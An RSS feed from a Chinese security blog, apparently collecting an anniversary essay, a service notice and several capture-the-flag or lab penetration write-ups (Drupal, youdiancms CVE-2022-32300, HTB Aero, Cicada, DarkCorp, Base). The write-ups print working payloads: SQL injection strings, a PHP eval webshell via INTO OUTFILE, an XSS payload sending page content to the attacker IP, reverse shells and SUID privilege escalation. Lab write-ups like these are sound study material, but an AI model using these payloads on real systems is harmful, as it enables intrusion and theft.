BushSEC的被窝
type: channel
link: https://bushsec.cn/
description: 允许自己下落，允许自己升起；慢慢理解世界，慢慢更新自己
items: 一周年随笔 置顶
items: DC-01靶场渗透
items: CVE-2022-32300漏洞复现(youdiancms 9.5.0)
items: Lost in Hyperspace：探索多维嵌入与隐写空间的旗帜追踪
items: Aero：通过主题上传实现 Windows RCE 与 CLFS 本地提权复盘(CVE-2023-28252)
items: SteamCloud：从Kubelet匿名访问到Pod提权的云原生攻防
items: EscapeTwo：域环境逃逸与权限提升
items: Cicada：初学者的域环境渗透实战
items: CVE漏洞监测服务中断公告
items: DarkCorp：深入企业的域控攻防
items: Base：基础渗透的艺术

一周年随笔 置顶
type: item
date: 2025-07-20T10:30:00+08:00
description: AI摘要：博客迎来一周年，作者回顾了这一年来的成长与收获。最初只是作为个人备忘录，后来演变成与世界的对话，记录技术、成长和生活。作者分享了实战笔记、命令解析、项目实践，感谢读者的陪伴，并表示会继续更新，记录学习和热爱。算算时间，本站也即将迎来其一周岁生日了，具体来说，现在，也就是本文的发布时间，距离它的生日还有十天左右的时间截止到目前，本站点总访问量已达到23524次一年前的今天，我在键盘前敲下了第一篇文章。没有想着它会被谁看到，也没有想过能坚持多久。只是觉得，该给自己一个地方了，去记录、去分享。现在回头看，这一年，一点点地写下了自己的成长、学习、折腾，也把一路上的困惑与收获，一起摆到了台面上。这个地方，不大，却真诚。写博客，是一场与自己的对话起初写博客，其实是想给自己一个“备忘录”式的空间。学到了什么、踩了什么坑、配置失败了几次，写下来，至少不再忘记。但慢慢地，我发现它变了味——写着写着，不再是单向的存档，而变成了和这个世界的对话。有时候是一篇文章带来了远方读者的留言，有时候是别人遇到同样的问题来找我讨论。也有时候，深夜里写下一段技术分析时，我会突然想起自己刚接触网络安全那会儿的懵懂与热情。写博客，不只是为了记录技术，更是记录成长。写下的是命令、工具和漏洞细节，但藏着的是一次次尝试、放弃、再试和终于成功的过程。这一年，写过、学过、也很认真活过这一年，我做过很多尝试：用心整理了好几篇实战笔记，Web安全，进程注入等等写下了几十条命令、工具解析、CTF学习记录；这一年也折腾了不少项目：杀软识别网站、CVE 监控平台、威胁情报平台……虽然它们不复杂，但每次搭完上线，看到有人用、有人点了 Star，都会觉得特别值得。如今，我已将这三个项目统一集成到博客的「安全服务」页面，方便集中展示与访问。它们串联起来，拼出了我一年里的模样。不完美，但继续走这一年里，我也拖更过，也卡过，也写到一半觉得写不下去了。不是为了谁，也不是要成为技术大牛，就是不想白走一遭。有时候我翻回自己3个月前写的东西，会觉得“当时还真是不会啊”，但这不就是成长吗？回忆想起刚刚接触网安的时候应该是在初中，当时的我比较叛逆吧，也是在那个时候，搓出了人生中第一个所谓的木马-键盘记录器，用于盗取被父母换过密码我原本笔记本电脑的密码（逃我的老师人的一生总会遇到几位恩师吧，总是会让我有意无意的想起之前的老师小学的教导主任兼数学老师鲁老师初中班主任兼语文老师谭老师这几位老师给我的印象，也都非常不错小学比较叛逆吧，也算是鲁老师给我打服的哈哈初中是一个转折点，初中的我相较于小学更加叛逆（逃），但谭老师是我见过最负责最好的一位老师，既是恩师亦是益友，即能为我指出错误也会与我进行谈心，是叛逆的我和父母的沟通桥梁，是我们班最有威信的老师，我们班的同学都对她心服口服，在我们班包括整个学校风评最好，没有之一，是我在叛逆期中唯一信服的人，也是最令我敬佩的一位老师。谢谢这一路有人相伴我知道，很多时候写博客是一件孤独的事。尤其是写技术类的内容，不是所有人都感兴趣，也不是每篇都能被看到。但即便如此，我还是很幸运。因为这一年里，我遇到了很多温暖的人谢谢你们，谢谢还在阅读这些文字的你。是你们，让这个小站从“一个人的记事本”变成了“有人在看的地方”。写给现在的自己，也写给未来现在的我，依然会担心写得不够好，会犹豫要不要发布某些文字。但我开始相信，真实和热爱，终究会被理解。“慢慢理解世界，慢慢更新自己。”一年了，还不算长，但已经很好。感谢自己没有中途放弃，感谢朋友们始终相伴，感谢还有人在点进来读这些字。🎂 Happy 1st Anniversary to This Blog不知未来会如何，但我知道，只要我还在学习、在热爱，这个博客就还会继续更新。日更也好，月更也罢，只要是出于喜欢，那就值得。不是所有文字都为别人写，有些，是写给时间里的自己。一年很短，一年很长。感谢你走过来，也感谢我自己没放弃。下一个周年，咱们不见不散。愿我们心中的赤诚永不熄灭。—— BushSEC2025-07-20

DC-01靶场渗透
type: item
date: 2025-11-20T20:09:00+08:00
description: DC—01靶机BushSEC首先进入kali，查看本机IP，由于我们不知道靶场的IP，先进行信息收集查看kali本机所在网段ip address我们知道了网段，但不知道靶机IP是多少，那么我们将对该网段进行信息收集nmap -sP 192.168.121.0/24我们可以发现了多个存活IP，理论上我们要对每个IP进行端口扫描，但根据经验254是网关排除，那么1,129，分别对应着Windows，kali，那么DC-01的地址为192.168.1.130对192.168.1.130进行端口扫描nmap -sV 192.168.121.130发现开启了22、80、111、49528端口我们先对http服务进行访问确定架构类型Powered by Drupal启动msfmsfconsole搜索漏洞search drupal 7逐个对等级为excellent的漏洞使用use 1查看需要设置的选项show options设置目的ipset rhosts 192.168.121.130设置回连地址set lhost 192.168.121.129运行run反弹shellshell为了后续操作的方便，建议获取交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'ls一下看到第一个flagEvery good CMS needs a config file - and so do you.每个好的CMS都需要一个配置文件，你也需要一个配置文件。根据提示进入drupal系统的配置页面：cd /var/www/sites/default cat settings.php得到flag2：爆破和字典攻击不是获得访问的唯一方法(你将需要访问)。你可以使用这些凭据做什么？获取的是mysql的用户名和密码，让我们尝试登录mysql -udbuser -pR0ck3t登录成功，打印数据库show databases;进入drupaldb数据库中并打印所有表use drupaldb show tables;我们在全部的表中找到了用户表(users)我们查看一下select * from users;看起来这个密码加密了查询一下官方文档exit退出mysql命令行更改密码./scripts/password-hash.sh 123456进入数据库更新update drupaldb.users set pass = '$S$DIflkOFTnvBJ2WH8Ha75bbc1tUMQ.3B0cvAhF.O4Zt6nAMUmLoXk' where name = 'admin';显示ok则修改成功去浏览器进行登录看看登录成功在content页面找到了flag3特殊的 perms 会帮助你找到通行证，但是你需要执行 -exec 这个命令才能弄清楚如何在 shadow 中得到什么。 接下来根据上一步提示来获取 root 权限（SUID提权）查看创建 flag1.txt 文件用户的权限使用find以flag1.txt 的身份反弹shellfind flag1.txt -exec whoami \; find flag1.txt -exec '/bin/sh' \;我们获得的root权限，直接查询flagfind / -name "*flag*"我们找到了flag4查看显示是否可以使用相同的方法查找或访问根中的标志？可能吧。但也许没那么容易还是很容易？但我们已经是root用户了，继续查看发现了thefinalflag.txtwell down，完结撒花

CVE-2022-32300漏洞复现(youdiancms 9.5.0)
type: item
date: 2025-11-19T08:50:00+08:00
description: 首先安装cms先登录网站后台：http://<IP地址>/index.php/Admin/public/AdminIndex进入管理后台首先进行端口扫描nmap <IP地址>Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 09:08 CST Nmap scan report for 123.58.224.8 Host is up (0.012s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 443/tcp open https 8008/tcp open http Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds 本漏洞易受攻击的文件路径：http://<IP地址>/index.php/App/Lib/Action/Admin/MailAction.php易受攻击的url：http://<IP地址>/index.php/Admin/mail/viewLog?MailSendID=1延时注入MailSendID=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))A)登录后台获取cookiePHPSESSID=oj44i6rf57h48fg16agn48btdvsqlmap无脑扫,由于本漏洞需要后台管理员权限，请注意带上你的cookiepython sqlmap.py -u "http://<IP地址>/index.php/Admin/mail/viewLog?MailSendID=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))A)" --cookie "PHPSESSID=oj44i6rf57h48fg16agn48btdv" --tables --level 2选项选择N，Y，N，Y，Npython sqlmap.py -u "http://<IP地址>/index.php/Admin/mail/viewLog?MailSendID=1" --cookie="PHPSESSID=f3of4ssti7dsg8pvs3s8rtf9vn; youdianMenuTopID=3" --dbs将之前yakit截获的（/index.php/Admin/mail/viewLog?MailSendID=1）响应包复制下来为data.txtGET /index.php/Admin/mail/viewLog?MailSendID=1 HTTP/1.1 Host: <IP地址> Cookie: PHPSESSID=oj44i6rf57h48fg16agn48btdv; youdianMenuTopID=3 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9首先对用户名进行爆破python sqlmap.py -r data.txt --users --threads 10接着对密码进行爆破python sqlmap.py -r data.txt --passwords --threads 10得到密文密码：*81F5E21E35407D884A6CD4A731AEBFB6AF209E1Bcmd5解码接着就是登录mysql，传入一句话木马构造payloadSELECT "<?php eval(@$_POST['password']);?> " INTO OUTFILE '/var/www/wordpress/include/Db/1.php';然后蚁剑连上一句话木马即可，就不演示了

Lost in Hyperspace：探索多维嵌入与隐写空间的旗帜追踪
type: item
date: 2025-11-10T08:37:00+08:00
description: 目标输入：embeddings.npy（高维嵌入，形如 110×512）、tokens.npy（对应字符数组）。方法：PCA 将嵌入降维到 2D/3D，依据点的几何结构（环形/螺旋），按合适顺序遍历并拼接字符。步骤 1：理解数据与挑战embeddings.npy：每个字符在高维空间的向量表示；tokens.npy：字符集合（含字母、数字、符号），在空间中“打散”分布；思路：降维后，数据通常呈现环形/螺旋等结构。沿着该结构遍历点，即可恢复字符原始顺序，拼接得到可读字符串与 Flag。步骤 2：确定如何完成机器无法像人类一样理解词语的含义，因此我们需要将词语转换为它们可以“操作”的形式——也就是数字。 在自然语言处理中，代币（token）是句子的最小单元，它可以是单词、子词，甚至是单个字符。例如，句子“天空是蓝色的”可以被拆分为“天空”、“天”、“是”和“蓝色”等代币。每个代币都会被映射为一个向量 ID，该向量的每一维都包含数值信息，用来捕捉代币的特征与关系。例如，“蓝色”这个词可能对应向量 [0.23, 0.89, 0.99, 0.98, ...]：第一维可以表示与“火”的相似度（因此数值较低）；第三维可能表示与“颜色”的相关性（因此数值接近1）。这些向量就是嵌入（embedding）——一种数值化表示，使机器能够理解语言的语义信息。但是，这类向量通常维度很高，可能达到100或1000维，我们无法直观地进行可视化。因此，我们需要将高维向量降维到可视化友好的三维空间。幸运的是，scikit-learn 提供了 PCA（主成分分析） 方法，可以有效地将高维数据压缩到低维，同时尽量保留数据的主要特征。本次挑战提示中提到“3D”和“阴影”，这正暗示我们可以将向量降到三维空间进行可视化，以便更直观地观察代币之间的关系。首先让我们来将矢量尺寸缩小至三维,并绘制出矢量及其2D阴影。image.py#!/usr/bin/env python3 # 保存为 find_flag_in_png.py import sys, os, re from PIL import Image import numpy as np def find_ascii_in_bytes(b, minlen=6): cur = bytearray() res = [] for x in b: if 32 <= x < 127: cur.append(x) else: if len(cur) >= minlen: res.append(cur.decode('latin1')) cur = bytearray() if len(cur) >= minlen: res.append(cur.decode('latin1')) return res def search_patterns_in_strings(strings): hits = [] for s in strings: for m in re.finditer(r'(flag\{.*?\}|FLAG\{.*?\}|ctf\{.*?\}|CTF\{.*?\})', s, flags=re.IGNORECASE): hits.append(m.group(0)) return hits def lsb_extract_and_search(img_arr, max_bytes=200000): H,W = img_arr.shape[0], img_arr.shape[1] C = img_arr.shape[2] if img_arr.ndim==3 else 1 # 每像素交织的最低有效位（LSB）（R,G,B,R,G,B,...） bits = [] if C == 1: data = img_arr.ravel() bits = (data & 1).astype(np.uint8) else: # 形状 H,W,C -> 逐像素迭代 # 为限制内存/时间，仅采样前 N 个像素 Npix = min(H*W, 20000) # sample first 20k pixels pix = img_arr.reshape(-1, C)[:Npix] bits = (pix & 1).reshape(-1) # 组装字节（高位在前，MSB-first） nbytes = (len(bits) // 8) bytes_arr = [] for i in range(nbytes): byte = 0 for j in range(8): bit = int(bits[i*8 + j]) byte = (byte << 1) | bit bytes_arr.append(byte) b = bytes(bytes_arr…

Aero：通过主题上传实现 Windows RCE 与 CLFS 本地提权复盘(CVE-2023-28252)
type: item
date: 2025-10-27T09:40:00+08:00
description: 首先使用nmap扫描存活的端口nmap -p- --min-rate 10000 10.10.11.237Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-26 22:58 EDT Nmap scan report for 10.10.11.237 Host is up (0.092s latency). Not shown: 65534 filtered ports PORT STATE SERVICE 80/tcp open http发现了80端口，让我们扫描具体的服务nmap -p 80 -sCV 10.10.11.237PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Aero Theme Hub |_http-server-header: Microsoft-IIS/10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 60.17 seconds根据IIS版本,主机可能运行现代Windows操作系统(Windows 10/11或Server 2016+)。访问该网站发现是一个 Windows 11 主题的存储库底部拥有一个上传点来上传自定义主题“浏览”按钮为文件对话框打开.theme而且.themepack扩展。如果我尝试上传一张图片,它会根据文件扩展名(或者说明)来拒绝它:File upload failed. Invalid file extension.接着我们来制作一个虚拟test.theme文件来进行上传上传成功并显示：File upload succeeded, Once we test your theme it will be added to the site!说明后续还会有人来打开测试它底部有一封邮件,support@aerohub.htb。页面上的所有链接都指向同一页面的其他部分。我们来查看http响应头来判断IIS的版本HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 Set-Cookie: .AspNetCore.Antiforgery.SV5HtsIgkxc=CfDJ8KhwwGdRThZIsdKv2UEKBTSKcK6NYPd906TegwfWvC5IvpQ6t9cvvVGbGBjIdz6FTU-kOje59n9YpR8Q0CZtkfoJtfs2njXhJ_fDAJGYcVimZ-11D2WAdnNEB1nTRyfLh3gTNQxTVeUrG5h-tdWSJ8c; path=/; samesite=strict; httponly X-Frame-Options: SAMEORIGIN X-Powered-By: ARR/3.0 Date: Tue, 26 Sep 2023 12:09:15 GMT Connection: close Content-Length: 11650X-Powered-By关于ARR/3.0与更常见的不同ASP.NET。Application Request Routing申请流程是用于处理负载均衡的 IIS 扩展。现在我们不知道这个扩展页面的扩展我会跑feroxbuster针对该网站,将其作为小写词列表,因为IIS对爆破事件不敏感:┌──(root㉿kali)-[~] └─# feroxbuster -u http://10.10.11.237 -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.9.3 ───────────────────────────…

SteamCloud：从Kubelet匿名访问到Pod提权的云原生攻防
type: item
date: 2025-09-13T13:07:00+08:00
description: AI摘要：本次云原生渗透测试利用了**Kubelet匿名访问**漏洞，成功从一个普通用户Pod提权并最终获取了主机的root权限。攻击过程包括信息侦察、利用Kubelet未授权访问、获取服务令牌、创建恶意Pod以及最终读取Flag。攻击机ip：10.10.16.3靶机IP：10.10.11.133首先nmapnmap -p- --min-rate 10000 -oA scans/nmap-alltcp得到结果Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 09:34 CST Nmap scan report for 10.10.11.133 Host is up (0.42s latency). Not shown: 65528 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 2379/tcp open etcd-client 2380/tcp open etcd-server 8443/tcp open https-alt 10249/tcp open unknown 10250/tcp open unknown 10256/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 10.36 secondsSSH 默认端口为 22。Etcd 是一个 Kubernetes 组件，客户端监听端口为 2379，服务器端口为 2380。Kubelet 是一个 Kubernetes 扩展，默认监听端口为 10250，Kubernetes API 监听端口为 8443。让我先来看看 Kubernetes API，它在 8443 端口上可访问。首先尝试访问Kubernetes API Server（8443端口），检查是否存在未授权访问：访问“https://10.10.11.133:8443”发现403{ "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"", "reason": "Forbidden", "details": { }, "code": 403 }输出显示我们无法在未经身份验证的情况下访问主目录，因此让我们继续查看监听在 10250 端口上的 Kubelet 服务。curl https://10.10.11.133:10250/pods -k {"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-controller-manager-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-controller-manager-steamcloud","uid":"be2478237d1af444b624cb01f51f79c4","creationTimestamp":null,"labels":{"component":"kube-controller-manager","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"be2478237d1af444b624cb01f51f79c4","kubernetes.io/config.seen":"2025-09-12T21:29:29.748824313-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"flexvolume-dir","hostPath":{"path":"/usr/libexec/kubernetes/kubelet-plugins/…

EscapeTwo：域环境逃逸与权限提升
type: item
date: 2025-07-28T22:45:00+08:00
description: AI摘要：该文章记录了一次域环境渗透测试，通过Nmap扫描发现目标，利用泄露的凭据访问共享文件，从中提取用户密码。随后，利用SQL Server的sa账户获取shell，发现数据库配置文件中的管理员密码。通过BloodHound分析权限，利用Ryan用户的WriteOwner权限修改CA_SVC密码，发现ADCS漏洞。最终，利用Certipy请求域管理员证书，获取NT哈希，成功以Administrator身份登录并获取root flag。虽然这篇评级是easy，但是对我来说还是蛮难的，至少是我做过的最难的easy评级了（）本机Ip：10.10.16.6目标ip：10.10.11.51首先nmap扫描nmap -sC -sV -Pn 10.10.11.51扫描结果Nmap scan report for 10.10.11.51 Host is up (0.32s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-28 09:41:43Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 |_ssl-date: 2025-07-28T09:43:21+00:00; -7h56m06s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-07-28T09:43:23+00:00; -7h56m06s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.10.11.51:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-07-2…

Cicada：初学者的域环境渗透实战
type: item
date: 2025-07-27T14:41:00+08:00
description: AI摘要：对目标IP进行Nmap扫描后，发现`cicada.htb`域名并加入hosts。通过`crackmapexec`工具，利用guest用户成功枚举SMB共享，发现HR共享目录并获取到默认密码。使用该密码成功登录用户michael.wrightson，枚举用户发现david.orelious的密码提示。利用david.orelious的密码访问DEV共享，获取Backup_script.ps1文件，得到emily.oscars的凭据并成功获取shell。利用emily.oscars的SeBackupPrivilege权限，导出SAM和SYSTEM文件，提取Administrator用户的NTLM哈希，最终通过Pass-the-Hash攻击获取Administrator权限，拿到root flag。本机ip：10.10.16.6目标ip：10.10.11.35nmap -sC -sV -Pn 10.10.11.35得到结果如下Stats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 91.67% done; ETC: 03:54 (0:00:04 remaining) Nmap scan report for 10.10.11.35 Host is up (0.32s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-26 18:53:59Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Def…

CVE漏洞监测服务中断公告
type: item
date: 2025-07-25T23:30:00+08:00
description: 由于美国国家标准与技术研究院（NIST）于 2025 年 7 月 24 日对其国家漏洞数据库（NVD）API 请求方式进行了更新，本站的 CVE 漏洞监测服务因此受到影响并导致中断。现已完成对新接口规范的适配与兼容性升级，相关服务已全面恢复运行。关于 CVSS v4.0 评分体系的适配工作仍在进行中，相关功能将在后续版本中陆续上线，敬请期待。您可通过以下链接查看 NIST 官方更新公告：🔗 https://www.nist.gov/itl/nvd感谢您的理解与支持。

DarkCorp：深入企业的域控攻防
type: item
date: 2025-07-22T22:44:00+08:00
description: AI摘要：该博客文章详细记录了 HTB 平台上 “DarkCorp” 靶场的渗透测试全过程。DarkCorp 是一道高难度(Insane)的企业内网靶机，模拟了一个拥有邮件系统、用户门户、数据库服务和 Windows 域环境的中大型公司网络。 作者首先利用 Nmap、Gobuster 等工具进行信息收集，发现多个子域与服务。通过邮件劫持和 XSS 注入获取重置链接，控制管理员账号后进一步发起 SQL 注入攻击，成功从 PostgreSQL 数据库中获取凭据，并建立反弹 shell。 在拿下初始主机权限后，作者深入内网，发现 Windows 域控服务，通过 BloodHound 收集权限图谱，再结合 LDAP 爆破与 GPO 权限配置，实现本地管理员权限提升。最终使用工具转储 hash，成功获取域控 SYSTEM 权限。引言Hack The Box 的赛季靶机 DarkCorp，难度 Insane。本文将带你以轻松的方式体验这场顶级难度的靶机挑战，深入剖析从外部突破到域管理员提权的完整过程。技术点涉及：端口扫描、子域枚举、目录爆破、XSS 漏洞利用（CVE-2024-42008）、SQL 注入、PostgreSQL 命令执行、凭据窃取、邮件伪造、内网转发、日志分析、密码破解、备份解密、BloodHound 域分析、GPO 权限滥用、AMSI 绕过、域管理员提权。目标与读者：网络安全爱好者、红队选手，适合对域渗透、Web 漏洞利用及 Active Directory 攻防感兴趣的从业者和学习者。本机ip：10.10.16.2目标ip：10.10.11.54nmap -sC -sV 10.10.11.54先直接访问，发现跳转到了http://drip.htb域名，但无法连接将域名和ip加入hostsecho "10.10.11.54 drip.htb" | sudo tee -a /etc/hosts能访问了，但http://drip.htb里什么都没有（）使用gobuster进行子域名爆破收集gobuster vhost -u http://drip.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain使用gobuster进行目录爆破收集gobuster dir -u http://drip.htb -t 20 -H 'User-Agent:Mozilla' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -b 401,403,404,500 -o 80.log将子域名加入hostsecho "10.10.11.54 mail.drip.htb" | sudo tee -a /etc/hosts发现可以sign up可以注册先注册一个账号1：bushsec密码1：123456登陆：没什么收获，我们重新注册一个用户，以root当作账户名账户2：root密码2：123456我们又有了两个收获一是获得两个用户名：ebelford和support。二是可以发现，每隔2分钟，网站会运行一个名为mail_clean.sh的脚本。从About选项卡可以看到邮件系统的信息接下来，我们把目光看向首页的Contact Us使用yakit劫持，将support%40drip.htb改成我们的邮箱地址root%40drip.htb在给support发邮件时，如果yakit中断并将地址改为我们的邮件地址，可以收到求助邮件，并得到 bcase用户名。yakit中断后，发送的原始内容如下。message= Foo &content=html&recipient=bcase@drip.htbbase64编码后如下。name=test&email=test%40test.com&message=%3Cbody+title%3D%22bgcolor%3Dfoo%22+name%3D%22bar+style%3Danimation-name%3Aprogress-bar-stripes+onanimationstart%3Ddocument.body.appendChild%28Object.assign%28document.createElement%28%27script%27%29%2C%7Bsrc%3A%27http%3A%2F%2F10.10.16.2%2F%3Fc%3D%27%2Bbtoa%28document.documentElement.innerHTML%29%7D%29%29++foo%3Dbar%22%3E%0D%0A++Foo%0D…

Base：基础渗透的艺术
type: item
date: 2025-07-19T15:25:00+08:00
description: AI摘要：该文章记录了一次渗透测试，通过Nmap和Gobuster发现目标服务器开放了22和80端口，并存在登录页面。利用`strcmp`函数的类型混淆漏洞，通过传入数组绕过身份验证，成功上传webshell并获取反向shell。随后，通过查看配置文件获取数据库密码，并利用`sudo -i`和find命令提权至root，最终获取user.txt和root.txt标志。本机Ip：10.10.16.2目标Ip：10.129.95.184首先收集信息nmap -sC -sV 10.129.95.184gobuster dir -u http://10.129.95.184 -w /usr/share/wordlists/dirb/big.txt整理出得到的有效信息/.htaccess (Status: 403) [Size: 278] /.htpasswd (Status: 403) [Size: 278] /_uploaded (Status: 301) [Size: 318] [--> http://10.129.95.184/_uploaded/] /assets (Status: 301) [Size: 315] [--> http://10.129.95.184/assets/] /forms (Status: 301) [Size: 314] [--> http://10.129.95.184/forms/] /login (Status: 301) [Size: 314] [--> http://10.129.95.184/login/] /server-status (Status: 403) [Size: 278]访问它们下载login.php.swpstrings login.php.swp内容：b0VIM 8.0 root base /var/www/html/login/login.php 3210 #"! Use the form below to log into your account. Login Login Contact Pricing Team Services About Home <!-- --> BASE Welcome to Base } print(" "); } else { } print(" "); } else { header("Location: /upload.php"); $_SESSION['user_id'] = 1; if (strcmp($password, $_POST['password']) == 0) { if (strcmp($username, $_POST['username']) == 0) { require('config.php'); if (!empty($_POST['username']) && !empty($_POST['password'])) { session_start(); <?php Web服务器正在使用strcmp来检查用户名和密码，这是不安全的，可以轻松地绕开。让我们打开yakit并捕获登录请求。以下代码存在问题：if (strcmp($password, $_POST['password']) == 0) {if (strcmp($username , $_POST['username']) == 0) {类型混淆（Type Juggling） + strcmp 绕过PHP 的 strcmp() 在遇到数组时，会返回 NULL，而 strcmp(...) == 0 的判断就会失败或出错。然而在 PHP 中：strcmp("admin", $_POST['username']) == 0如果你传的是 username[]=admin，那么 $_POST['username'] 是一个数组，执行时将变为：strcmp("admin", array('admin')) == 0此时 strcmp() 返回 NULL，并发出 PHP Warning，但 整个 if 判断会被跳过 或意外通过，这就造成了认证绕过。我们使用yakit劫持响应将username=admin&password=admin改成username[]=admin&password[]=admin成功登陆上传kali自带的webshell：/usr/share/webshells/php/php-reverse-shell.php将回连ip改为本机ip：10.10.16.2启动监听nc -lvnp 1234根据之前的扫描结果，推断上传路径为http://10.129.95.184/_uploaded/php-reverse-shell.php获得回显，…